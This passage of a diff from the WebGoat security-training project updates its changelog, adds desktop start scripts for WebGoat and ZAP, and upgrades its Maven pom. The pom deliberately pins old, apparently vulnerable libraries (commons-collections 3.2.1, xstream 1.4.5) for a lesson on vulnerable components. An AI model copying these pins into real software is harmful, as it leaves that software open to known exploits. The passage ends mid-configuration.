+### 🔄 Technical tasks
+
+- Lots of dependency updates
+
+## Version 2023.8
+
+### 🚀 New functionality
+
+- Consistent environment values and url references (#1677)
+- Show directly requested file in requests overview
+- Show creating time in file upload overview
+
+### 🐞 Bug fixes
+
+- Fix startup message (#1687)
+- Fix/state of software supply chain links (#1683)
+- Fix WebWolf UI (#1686)
+
+### 🔄 Technical tasks
+
+- bump actions/setup-java from 3 to 4 (#1690)
+- bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
+- bump com.diffplug.spotless:spotless-maven-plugin (#1688)
+
+## Version 2023.5
+
+### New functionality
+
+- Implement JWT jku example (#1552)
+- Java 21 initial support (#1622)
+- improve MFAC lesson hint texts for a better user experience (#1424)
+- upgrade to Spring Boot version 3 (#1477)
+
+### Bug fixes
+
+- typo in WebGoad.txt (#1667)
+- search box moved and jwt encode/decode with little delay (#1664)
+- skip validation for JWT (#1663)
+- fixed issue in JWT test tool and added robot test (#1658)
+- Password reset link test condition more strict and move all WebWolf links to /WebWolf  (#1645)
+- fix servers id (#1619)
+- potential NPE in the stored XSS assignment
+- crypto basics broken links
+- fixes the default change in trailing slash matching and address the affected assignments
+- hint that was breaking the template, causing hints from different assignments to mix (#1424)
+- HijackSession lesson template deprecated Tymeleaf attribute
+- Fix NPE in IDOR lesson
+- Add new assignment IT tests
+- XSS mitigation
+- Stored Cross-Site Scripting Lesson
+- Add Assignment7 Tests
+- Fix IDOR lesson
+- remove steps from release script (#1509)
+- robotframework fails due to updated dependencies (#1508)
+- fix Java image inside Docker file The image now downloads the correct Java version based on the architecture.
+- Fix typo of HijackSession_content0.adoc
+- Restrict SSRF Regexes
+- update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the
+  FlagController
+
+## Version 2023.4
+
+### New functionality
+
+- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422).
+  Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux
+  desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See
+  README.md for details on how to start it.
+- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
+
+### Bug fixes
+
+- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
+- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
+- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
+
 ## Version 2023.3
 
-With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
+With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year
+starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began
+to use a new versioning scheme (https://calver.org/#scheme).
 
-A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make
+A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we
+can make
 many more releases this year.
 
 ### New functionality
 
 - New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times.
 - Move away from multi-project setup:
-  * This has a huge performance benefit when building the application. Build time locally is now `Total time:  42.469 s` (depends on your local machine of course)
+    * This has a huge performance benefit when building the application. Build time locally is now
+      `Total time:  42.469 s` (depends on your local machine of course)
     * No longer add Maven dependencies in several places
-  * H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection.
+    * H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure
+      the correct database connection.
 - More explicit paths in html files to reference `adoc` files, less magic.
-- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
+- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes
+  and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
 - Add WebWolf button in WebGoat
 - Move all lessons into `src/main/resources`
-- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease the user experience.
+- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease
+  the user experience.
 - WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...`
 - Simplify `Dockerfile` as we no longer need a script to start everything
 - Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
-- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` for an example.
+- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific
-- Integration tests now use the same user. This saves a lot of time as before every test used a different user which triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
+  user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment`
+  for an example.
+- Integration tests now use the same user. This saves a lot of time as before every test used a different user which
+  triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
 - Updated introduction lesson to WebWolf.
 - Added language switch for support for multiple languages.
-- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port. We simplified this to just start on the specified port.
+- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port.
+  We simplified this to just start on the specified port.
 - Add Google formatter for all our code, a PR now checks whether the code adheres to the standard.
 - Renaming of all packages and folders.
 - [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093)
@@ -110,7 +236,9 @@ Special thanks to the following contributors providing us with a pull request:
 
 - Added new lessons for cryptography and path-traversal
 - Extra content added to the XXE lesson
-- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a pull request on Github.
+- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve
+  the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a
+  pull request on Github.
 - Docker improvements + docker stack for complete container with nginx
 - Included JWT token decoding and generation, since jwt.io does not support None anymore
 
@@ -147,4 +275,3 @@ Special thanks to the following contributors providing us with a pull request:
 And everyone who provided feedback through Github.
 
 Team WebGoat
-

config/desktop/WebGoat.txt

@@ -0,0 +1,10 @@
+** Welcome to WebGoat desktop image
+
+With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
+You can start WebGoat and ZAP by opening a terminal and type:
+
+./start_webgoat.sh
+./start_zap.sh
+
+Happy hacking,
+Team WebGoat

config/desktop/start_webgoat.sh

@@ -0,0 +1,17 @@
+#!/bin/sh
+
+/config/java-jdk/bin/java \
+  -Duser.home=/config \
+  -Dfile.encoding=UTF-8 \
+  -DTZ=Europe/Amsterdam \
+  --add-opens java.base/java.lang=ALL-UNNAMED \
+  --add-opens java.base/java.util=ALL-UNNAMED \
+  --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
+  --add-opens java.base/java.text=ALL-UNNAMED \
+  --add-opens java.desktop/java.beans=ALL-UNNAMED \
+  --add-opens java.desktop/java.awt.font=ALL-UNNAMED \
+  --add-opens java.base/sun.nio.ch=ALL-UNNAMED \
+  --add-opens java.base/java.io=ALL-UNNAMED \
+  --add-opens java.base/java.util=ALL-UNNAMED \
+  -Drunning.in.docker=false \
+  -jar /config/webgoat.jar

config/desktop/start_zap.sh

@@ -0,0 +1,3 @@
+#!/bin/sh
+
+/config/java-jdk/bin/java -jar /config/ZAP_2.15.0/zap-2.15.0.jar

config/license-headers/java

@@ -0,0 +1,4 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © $today.year WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */

docs/README.md

@@ -1,4 +1,3 @@
 # WebGoat landing page
 
 Old GitHub page which now redirects to OWASP website.
-

pom.xml

@@ -1,16 +1,16 @@
 <?xml version="1.0" encoding="UTF-8"?>
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
-
   <modelVersion>4.0.0</modelVersion>
 
   <parent>
     <groupId>org.springframework.boot</groupId>
     <artifactId>spring-boot-starter-parent</artifactId>
-    <version>2.7.1</version>
+    <version>3.4.3</version>
   </parent>
+
   <groupId>org.owasp.webgoat</groupId>
   <artifactId>webgoat</artifactId>
-  <version>2023.3</version>
+  <version>2025.0</version>
   <packaging>jar</packaging>
 
   <name>WebGoat</name>
@@ -27,14 +27,8 @@
       <url>https://www.gnu.org/licenses/gpl-2.0.txt</url>
     </license>
   </licenses>
+
   <developers>
-    <developer>
-      <id>mayhew64</id>
-      <name>Bruce Mayhew</name>
-      <email>webgoat@owasp.org</email>
-      <organization>OWASP</organization>
-      <organizationUrl>https://github.com/WebGoat/WebGoat</organizationUrl>
-    </developer>
     <developer>
       <id>nbaars</id>
       <name>Nanne Baars</name>
@@ -42,11 +36,6 @@
       <organizationUrl>https://github.com/nbaars</organizationUrl>
       <timezone>Europe/Amsterdam</timezone>
     </developer>
-    <developer>
-      <id>misfir3</id>
-      <name>Jason White</name>
-      <email>jason.white@owasp.org</email>
-    </developer>
     <developer>
       <id>zubcevic</id>
       <name>René Zubcevic</name>
@@ -57,44 +46,8 @@
       <name>Àngel Ollé Blázquez</name>
       <email>angel@olleb.com</email>
     </developer>
-    <developer>
-      <id>jwayman</id>
-      <name>Jeff Wayman</name>
-      <email></email>
-    </developer>
-    <developer>
-      <id>dcowden</id>
-      <name>Dave Cowden</name>
-      <email></email>
-    </developer>
-    <developer>
-      <id>lawson89</id>
-      <name>Richard Lawson</name>
-      <email></email>
-    </developer>
-    <developer>
-      <id>dougmorato</id>
-      <name>Doug Morato</name>
-      <email>doug.morato@owasp.org</email>
-      <organization>OWASP</organization>
-      <organizationUrl>https://github.com/dougmorato</organizationUrl>
-      <timezone>America/New_York</timezone>
-      <properties>
-        <picUrl>https://avatars2.githubusercontent.com/u/9654?v=3&amp;s=150</picUrl>
-      </properties>
-    </developer>
   </developers>
 
-  <mailingLists>
-    <mailingList>
-      <name>OWASP WebGoat Mailing List</name>
-      <subscribe>https://lists.owasp.org/mailman/listinfo/owasp-webgoat</subscribe>
-      <unsubscribe>Owasp-webgoat-request@lists.owasp.org</unsubscribe>
-      <post>owasp-webgoat@lists.owasp.org</post>
-      <archive>http://lists.owasp.org/pipermail/owasp-webgoat/</archive>
-    </mailingList>
-  </mailingLists>
-
   <scm>
     <connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection>
     <developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection>
@@ -108,59 +61,61 @@
   </issueManagement>
 
   <properties>
-
     <!-- Shared properties with plugins and version numbers across submodules-->
-    <asciidoctorj.version>2.5.3</asciidoctorj.version>
+    <asciidoctorj.version>3.0.0</asciidoctorj.version>
-    <bootstrap.version>3.3.7</bootstrap.version>
+    <bootstrap.version>5.3.3</bootstrap.version>
-    <cglib.version>2.2</cglib.version>
+    <cglib.version>3.3.0</cglib.version>
     <!-- do not update necessary for lesson -->
-    <checkstyle.version>3.1.2</checkstyle.version>
+    <checkstyle.version>3.6.0</checkstyle.version>
     <commons-collections.version>3.2.1</commons-collections.version>
-    <commons-io.version>2.6</commons-io.version>
+    <commons-compress.version>1.27.1</commons-compress.version>
-    <commons-lang3.version>3.12.0</commons-lang3.version>
+    <commons-io.version>2.18.0</commons-io.version>
-    <commons-text.version>1.9</commons-text.version>
+    <commons-lang3.version>3.14.0</commons-lang3.version>
-    <guava.version>30.1-jre</guava.version>
+    <commons-text.version>1.13.0</commons-text.version>
-    <java.version>17</java.version>
+    <guava.version>33.4.0-jre</guava.version>
+    <jacoco.version>0.8.11</jacoco.version>
+    <java.version>23</java.version>
+    <jaxb.version>2.3.1</jaxb.version>
     <jjwt.version>0.9.1</jjwt.version>
-    <jose4j.version>0.7.6</jose4j.version>
+    <jose4j.version>0.9.3</jose4j.version>
-    <jquery.version>3.5.1</jquery.version>
+    <jquery.version>3.7.1</jquery.version>
-    <jsoup.version>1.14.3</jsoup.version>
+    <jsoup.version>1.18.3</jsoup.version>
-    <maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
+    <maven-compiler-plugin.version>3.13.0</maven-compiler-plugin.version>
-    <maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
+    <maven-failsafe-plugin.version>3.5.2</maven-failsafe-plugin.version>
     <maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
     <maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
     <maven-source-plugin.version>3.1.0</maven-source-plugin.version>
-    <maven-surefire-plugin.version>3.0.0-M5</maven-surefire-plugin.version>
+    <maven-surefire-plugin.version>3.5.2</maven-surefire-plugin.version>
-    <maven.compiler.source>17</maven.compiler.source>
+    <maven.compiler.proc>full</maven.compiler.proc>
-    <maven.compiler.target>17</maven.compiler.target>
+    <maven.compiler.source>23</maven.compiler.source>
+    <maven.compiler.target>23</maven.compiler.target>
+
     <pmd.version>3.15.0</pmd.version>
     <!-- Use UTF-8 Encoding -->
     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
     <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
-    <thymeleaf.version>3.0.15.RELEASE</thymeleaf.version>
+    <thymeleaf.version>3.1.2.RELEASE</thymeleaf.version>
-    <webdriver.version>4.3.1</webdriver.version>
+    <waittimeForServerStart>60</waittimeForServerStart>
+    <webdriver.version>5.9.3</webdriver.version>
+    <webgoat.context>/WebGoat</webgoat.context>
     <webgoat.port>8080</webgoat.port>
+    <webgoat.sslenabled>false</webgoat.sslenabled>
+    <webjars-locator-core.version>0.59</webjars-locator-core.version>
+    <webwolf.context>/WebWolf</webwolf.context>
     <webwolf.port>9090</webwolf.port>
-    <wiremock.version>2.27.2</wiremock.version>
+    <wiremock.version>3.12.0</wiremock.version>
     <xml-resolver.version>1.2</xml-resolver.version>
     <xstream.version>1.4.5</xstream.version>
     <!-- do not update necessary for lesson -->
-    <zxcvbn.version>1.5.2</zxcvbn.version>
+    <zxcvbn.version>1.9.0</zxcvbn.version>
   </properties>
 
   <dependencyManagement>
     <dependencies>
-
-      <dependency>
-        <groupId>org.ow2.asm</groupId>
-        <artifactId>asm</artifactId>
-        <version>9.1</version>
-      </dependency>
-
       <dependency>
         <groupId>org.apache.commons</groupId>
         <artifactId>commons-exec</artifactId>
-        <version>1.3</version>
+        <version>1.4.0</version>
       </dependency>
       <dependency>
         <groupId>org.asciidoctor</groupId>
@@ -198,6 +153,17 @@
         <artifactId>jjwt</artifactId>
         <version>${jjwt.version}</version>
       </dependency>
+      <dependency>
+        <groupId>com.auth0</groupId>
+        <artifactId>jwks-rsa</artifactId>
+        <version>0.22.1</version>
+      </dependency>
+      <!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
+      <dependency>
+        <groupId>com.auth0</groupId>
+        <artifactId>java-jwt</artifactId>
+        <version>4.5.0</version>
+      </dependency>
       <dependency>
         <groupId>com.google.guava</groupId>
         <artifactId>guava</artifactId>
@@ -229,8 +195,13 @@
         <version>${jquery.version}</version>
       </dependency>
       <dependency>
-        <groupId>com.github.tomakehurst</groupId>
+        <groupId>org.webjars</groupId>
-        <artifactId>wiremock</artifactId>
+        <artifactId>webjars-locator-core</artifactId>
+        <version>${webjars-locator-core.version}</version>
+      </dependency>
+      <dependency>
+        <groupId>org.wiremock</groupId>
+        <artifactId>wiremock-standalone</artifactId>
         <version>${wiremock.version}</version>
       </dependency>
       <dependency>
@@ -241,16 +212,20 @@
       <dependency>
         <groupId>org.apache.commons</groupId>
         <artifactId>commons-compress</artifactId>
-        <version>1.21</version>
+        <version>${commons-compress.version}</version>
       </dependency>
       <dependency>
         <groupId>org.jruby</groupId>
         <artifactId>jruby</artifactId>
-        <version>9.3.6.0</version>
+        <version>9.4.12.0</version>
+      </dependency>
+      <dependency>
+        <groupId>com.microsoft.playwright</groupId>
+        <artifactId>playwright</artifactId>
+        <version>1.50.0</version>
       </dependency>
     </dependencies>
   </dependencyManagement>
-
   <dependencies>
     <dependency>
       <groupId>org.apache.commons</groupId>
@@ -263,26 +238,18 @@
     <dependency>
       <groupId>org.projectlombok</groupId>
       <artifactId>lombok</artifactId>
+      <version>1.18.36</version>
       <scope>provided</scope>
       <optional>true</optional>
     </dependency>
     <dependency>
       <groupId>javax.xml.bind</groupId>
       <artifactId>jaxb-api</artifactId>
-    </dependency>
+      <version>${jaxb.version}</version>
-    <dependency>
-      <groupId>org.springframework.boot</groupId>
-      <artifactId>spring-boot-starter-undertow</artifactId>
     </dependency>
     <dependency>
       <groupId>org.springframework.boot</groupId>
       <artifactId>spring-boot-starter-web</artifactId>
-      <exclusions>
-        <exclusion>
-          <groupId>org.springframework.boot</groupId>
-          <artifactId>spring-boot-starter-tomcat</artifactId>
-        </exclusion>
-      </exclusions>
     </dependency>
     <dependency>
       <groupId>org.springframework.boot</groupId>
@@ -292,6 +259,10 @@
       <groupId>org.flywaydb</groupId>
       <artifactId>flyway-core</artifactId>
     </dependency>
+    <dependency>
+      <groupId>org.flywaydb</groupId>
+      <artifactId>flyway-database-hsqldb</artifactId>
+    </dependency>
     <dependency>
       <groupId>org.asciidoctor</groupId>
       <artifactId>asciidoctorj</artifactId>
@@ -308,9 +279,17 @@
       <groupId>org.springframework.boot</groupId>
       <artifactId>spring-boot-starter-thymeleaf</artifactId>
     </dependency>
+    <dependency>
+      <groupId>org.springframework.boot</groupId>
+      <artifactId>spring-boot-starter-oauth2-client</artifactId>
+    </dependency>
     <dependency>
       <groupId>org.thymeleaf.extras</groupId>
-      <artifactId>thymeleaf-extras-springsecurity5</artifactId>
+      <artifactId>thymeleaf-extras-springsecurity6</artifactId>
+    </dependency>
+    <dependency>
+      <groupId>jakarta.servlet</groupId>
+      <artifactId>jakarta.servlet-api</artifactId>
     </dependency>
     <dependency>
       <groupId>org.hsqldb</groupId>
@@ -340,6 +319,15 @@
       <groupId>io.jsonwebtoken</groupId>
       <artifactId>jjwt</artifactId>
     </dependency>
+    <dependency>
+      <groupId>com.auth0</groupId>
+      <artifactId>jwks-rsa</artifactId>
+    </dependency>
+    <!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
+    <dependency>
+      <groupId>com.auth0</groupId>
+      <artifactId>java-jwt</artifactId>
+    </dependency>
     <dependency>
       <groupId>com.google.guava</groupId>
       <artifactId>guava</artifactId>
@@ -369,8 +357,23 @@
       <artifactId>jquery</artifactId>
     </dependency>
     <dependency>
-      <groupId>org.glassfish.jaxb</groupId>
+      <groupId>org.webjars</groupId>
-      <artifactId>jaxb-runtime</artifactId>
+      <artifactId>webjars-locator-core</artifactId>
+    </dependency>
+    <dependency>
+      <groupId>jakarta.xml.bind</groupId>
+      <artifactId>jakarta.xml.bind-api</artifactId>
+    </dependency>
+    <dependency>
+      <groupId>com.sun.xml.bind</groupId>
+      <artifactId>jaxb-impl</artifactId>
+      <scope>runtime</scope>
+    </dependency>
+    <dependency>
+      <groupId>com.github.terma</groupId>
+      <artifactId>javaniotcpproxy</artifactId>
+      <version>1.6</version>
+      <scope>test</scope>
     </dependency>
 
     <dependency>
@@ -384,15 +387,24 @@
       <scope>test</scope>
     </dependency>
     <dependency>
-      <groupId>com.github.tomakehurst</groupId>
+      <groupId>org.wiremock</groupId>
-      <artifactId>wiremock</artifactId>
+      <artifactId>wiremock-standalone</artifactId>
-      <scope>test</scope>
     </dependency>
     <dependency>
       <groupId>io.rest-assured</groupId>
       <artifactId>rest-assured</artifactId>
       <scope>test</scope>
     </dependency>
+    <dependency>
+      <groupId>com.microsoft.playwright</groupId>
+      <artifactId>playwright</artifactId>
+      <scope>test</scope>
+    </dependency>
+    <dependency>
+      <groupId>org.springframework.boot</groupId>
+      <artifactId>spring-boot-properties-migrator</artifactId>
+      <scope>runtime</scope>
+    </dependency>
   </dependencies>
 
   <repositories>
@@ -461,11 +473,20 @@
         <groupId>org.apache.maven.plugins</groupId>
         <artifactId>maven-failsafe-plugin</artifactId>
         <configuration>
+          <environmentVariables>
+            <WEBGOAT_SSLENABLED>${webgoat.sslenabled}</WEBGOAT_SSLENABLED>
+            <WEBGOAT_HOST>127.0.0.1</WEBGOAT_HOST>
+            <WEBGOAT_PORT>${webgoat.port}</WEBGOAT_PORT>
+            <WEBGOAT_CONTEXT>${webgoat.context}</WEBGOAT_CONTEXT>
+            <WEBWOLF_HOST>127.0.0.1</WEBWOLF_HOST>
+            <WEBWOLF_PORT>${webwolf.port}</WEBWOLF_PORT>
+            <WEBWOLF_CONTEXT>${webwolf.context}</WEBWOLF_CONTEXT>
+          </environmentVariables>
           <systemPropertyVariables>
             <logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile>
           </systemPropertyVariables>
-          <argLine>-Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port}</argLine>
+          <argLine>-Xmx512m</argLine>
-          <includes>org/owasp/webgoat/*Test</includes>
+          <includes>org/owasp/webgoat/integration/*Test, org/owasp/webgoat/playwright/**/*Test</includes>
         </configuration>
         <executions>
           <execution>
@@ -487,14 +508,16 @@
         <artifactId>maven-surefire-plugin</artifactId>
         <version>${maven-surefire-plugin.version}</version>
         <configuration>
+          <forkedProcessTimeoutInSeconds>600</forkedProcessTimeoutInSeconds>
+          <!-- Necessary for vulnerable components lesson -->
           <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
           --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
           --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
-                        --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED</argLine>
+          --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
+          --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED</argLine>
           <excludes>
             <exclude>**/*IntegrationTest.java</exclude>
-            <exclude>src/it/java</exclude>
+            <exclude>**/*UITest.java</exclude>
-            <exclude>org/owasp/webgoat/*Test</exclude>
           </excludes>
         </configuration>
       </plugin>
@@ -503,7 +526,6 @@
         <artifactId>maven-checkstyle-plugin</artifactId>
         <version>${checkstyle.version}</version>
         <configuration>
-          <encoding>UTF-8</encoding>
           <consoleOutput>true</consoleOutput>
           <failsOnError>true</failsOnError>
           <configLocation>config/checkstyle/checkstyle.xml</configLocation>
@@ -514,9 +536,18 @@
       <plugin>
         <groupId>com.diffplug.spotless</groupId>
         <artifactId>spotless-maven-plugin</artifactId>
-        <version>2.29.0</version>
+        <version>2.44.3</version>
         <configuration>
           <formats>
+            <format>
+              <includes>
+                <include>src/**/*.java</include>
+              </includes>
+              <licenseHeader>
+                <file>${project.basedir}/config/license-headers/java</file>
+                <delimiter>(package|import)</delimiter>
+              </licenseHeader>
+            </format>
             <format>
               <includes>
                 <include>.gitignore</include>
@@ -536,6 +567,11 @@
             <flexmark></flexmark>
           </markdown>
           <java>
+            <includes>
+              <include>src/main/java/**/*.java</include>
+              <include>src/test/java/**/*.java</include>
+              <include>src/it/java/**/*.java</include>
+            </includes>
             <removeUnusedImports></removeUnusedImports>
             <googleJavaFormat>
               <style>GOOGLE</style>
@@ -570,7 +606,7 @@
       <plugin>
         <groupId>org.apache.maven.plugins</groupId>
         <artifactId>maven-enforcer-plugin</artifactId>
-        <version>3.0.0</version>
+        <version>3.5.0</version>
         <executions>
           <execution>
             <id>restrict-log4j-versions</id>
@@ -594,10 +630,6 @@
       <plugin>
         <groupId>org.apache.maven.plugins</groupId>
         <artifactId>maven-compiler-plugin</artifactId>
-        <configuration>
-          <source>17</source>
-          <target>17</target>
-        </configuration>
       </plugin>
     </plugins>
   </build>
@@ -627,16 +659,15 @@
                   <portNames>
                     <portName>webgoat.port</portName>
                     <portName>webwolf.port</portName>
-                    <portName>jmxPort</portName>
                   </portNames>
                 </configuration>
               </execution>
             </executions>
           </plugin>
           <plugin>
-            <groupId>com.bazaarvoice.maven.plugins</groupId>
+            <groupId>org.honton.chas</groupId>
             <artifactId>process-exec-maven-plugin</artifactId>
-            <version>0.9</version>
+            <version>0.9.2</version>
             <executions>
               <execution>
                 <id>start-jar</id>
@@ -644,16 +675,25 @@
                   <goal>start</goal>
                 </goals>
                 <phase>pre-integration-test</phase>
+
                 <configuration>
                   <workingDir>${project.build.directory}</workingDir>
+                  <environment>
+                    <WEBGOAT_SSLENABLED>${webgoat.sslenabled}</WEBGOAT_SSLENABLED>
+                    <WEBGOAT_HOST>127.0.0.1</WEBGOAT_HOST>
+                    <WEBGOAT_PORT>${webgoat.port}</WEBGOAT_PORT>
+                    <WEBGOAT_CONTEXT>${webgoat.context}</WEBGOAT_CONTEXT>
+                    <WEBWOLF_HOST>127.0.0.1</WEBWOLF_HOST>
+                    <WEBWOLF_PORT>${webwolf.port}</WEBWOLF_PORT>
+                    <WEBWOLF_CONTEXT>${webwolf.context}</WEBWOLF_CONTEXT>
+                  </environment>
                   <arguments>
                     <argument>java</argument>
                     <argument>-jar</argument>
                     <argument>-Dlogging.pattern.console=</argument>
+                    <argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
+                    <argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
                     <argument>-Dspring.main.banner-mode=off</argument>
-                    <argument>-Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat</argument>
-                    <argument>-Dwebgoat.port=${webgoat.port}</argument>
-                    <argument>-Dwebwolf.port=${webwolf.port}</argument>
                     <argument>--add-opens</argument>
                     <argument>java.base/java.lang=ALL-UNNAMED</argument>
                     <argument>--add-opens</argument>
@@ -661,12 +701,8 @@
                     <argument>--add-opens</argument>
                     <argument>java.base/java.lang.reflect=ALL-UNNAMED</argument>
                     <argument>--add-opens</argument>
-                    <argument>java.base/java.text=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
                     <argument>java.desktop/java.beans=ALL-UNNAMED</argument>
                     <argument>--add-opens</argument>
-                    <argument>java.desktop/java.awt.font=ALL-UNNAMED</argument>
-                    <argument>--add-opens</argument>
                     <argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
                     <argument>--add-opens</argument>
                     <argument>java.base/java.io=ALL-UNNAMED</argument>
@@ -675,7 +711,8 @@
                     <argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
                   </arguments>
                   <waitForInterrupt>false</waitForInterrupt>
-                  <healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/</healthcheckUrl>
+                  <waitAfterLaunch>${waittimeForServerStart}</waitAfterLaunch>
+                  <healthCheckUrl>http://127.0.0.1:${webgoat.port}${webgoat.context}/login</healthCheckUrl>
                 </configuration>
               </execution>
               <execution>
@@ -700,7 +737,6 @@
           <plugin>
             <groupId>org.owasp</groupId>
             <artifactId>dependency-check-maven</artifactId>
-            <version>6.5.1</version>
             <configuration>
               <failBuildOnCVSS>7</failBuildOnCVSS>
               <skipProvidedScope>false</skipProvidedScope>
@@ -721,6 +757,81 @@
         </plugins>
       </build>
     </profile>
+    <profile>
+      <!-- run with: mvn test -Pcoverage -->
+      <id>coverage</id>
+      <activation>
+        <activeByDefault>false</activeByDefault>
+      </activation>
+      <build>
+        <plugins>
+          <plugin>
+            <groupId>org.apache.maven.plugins</groupId>
+            <artifactId>maven-surefire-plugin</artifactId>
+            <version>${maven-surefire-plugin.version}</version>
+            <configuration>
+              <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
+          --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
+          --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
+          --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
+          ${surefire.jacoco.args}</argLine>
+              <excludes>
+                <exclude>**/*IntegrationTest.java</exclude>
+                <exclude>src/it/java</exclude>
+                <exclude>org/owasp/webgoat/*Test</exclude>
+              </excludes>
+            </configuration>
+          </plugin>
+          <plugin>
+            <groupId>org.jacoco</groupId>
+            <artifactId>jacoco-maven-plugin</artifactId>
+            <executions>
+              <execution>
+                <id>before-unit-test</id>
+                <goals>
+                  <goal>prepare-agent</goal>
+                </goals>
+                <configuration>
+                  <destFile>${project.build.directory}/jacoco/jacoco-ut.exec</destFile>
+                  <propertyName>surefire.jacoco.args</propertyName>
+                </configuration>
+              </execution>
+              <execution>
+                <id>check</id>
+                <goals>
+                  <goal>check</goal>
+                </goals>
+                <configuration>
+                  <rules>
+                    <rule>
+                      <element>BUNDLE</element>
+                      <limits>
+                        <limit>
+                          <counter>CLASS</counter>
+                          <value>COVEREDCOUNT</value>
+                          <minimum>0.6</minimum>
+                        </limit>
+                      </limits>
+                    </rule>
+                  </rules>
+                  <dataFile>${project.build.directory}/jacoco/jacoco-ut.exec</dataFile>
+                </configuration>
+              </execution>
+              <execution>
+                <id>after-unit-test</id>
+                <goals>
+                  <goal>report</goal>
+                </goals>
+                <phase>test</phase>
+                <configuration>
